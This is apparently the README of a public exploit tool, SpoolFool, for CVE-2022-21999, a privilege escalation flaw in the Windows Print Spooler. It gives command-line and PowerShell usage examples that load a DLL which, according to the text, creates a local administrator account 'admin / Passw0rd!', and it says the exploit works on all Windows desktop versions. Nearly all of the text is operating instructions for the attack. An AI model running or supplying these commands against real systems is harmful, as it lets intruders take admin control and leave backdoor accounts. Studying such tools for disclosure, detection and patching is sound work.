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Exploit for CVE-2022-21999 - Windows Print Spooler Elevation of Privilege Vulnerability (LPE)

Details

The provided exploit should work by default on all Windows desktop versions.

Please see the blog post for full technical details here.

Usage

PS C:\SpoolFool> .\SpoolFool.exe

SpoolFool
  By Oliver Lyak (@ly4k_)

Examples:
  C:\SpoolFool\SpoolFool.exe -dll add_user.dll
  C:\SpoolFool\SpoolFool.exe -dll add_user.dll -printer 'My Printer'
  C:\SpoolFool\SpoolFool.exe -dll add_user.dll -dir 'SECRET'
  C:\SpoolFool\SpoolFool.exe -dll add_user.dll -printer 'My Printer' -dir 'SECRET'

Powershell

PS C:\SpoolFool> ipmo .\SpoolFool.ps1
PS C:\SpoolFool> Invoke-SpoolFool

SpoolFool
  By Oliver Lyak (@ly4k_)

Examples:
   -dll add_user.dll
   -dll add_user.dll -printer 'My Printer'
   -dll add_user.dll -dir 'SECRET'
   -dll add_user.dll -printer 'My Printer' -dir 'SECRET'

Proof of Concept

The following PoC uses a DLL that creates a new local administrator admin / Passw0rd!. The DLL (AddUser.dll) and the source code can be found in this repository.

Second run

The following PoC demonstrates a second run of the provided exploit. Notice that the vulnerability is not exploited this time in order to load the DLL.

Artifacts

After the exploit has been executed, the following artifacts will be left for later cleanup:

Authors

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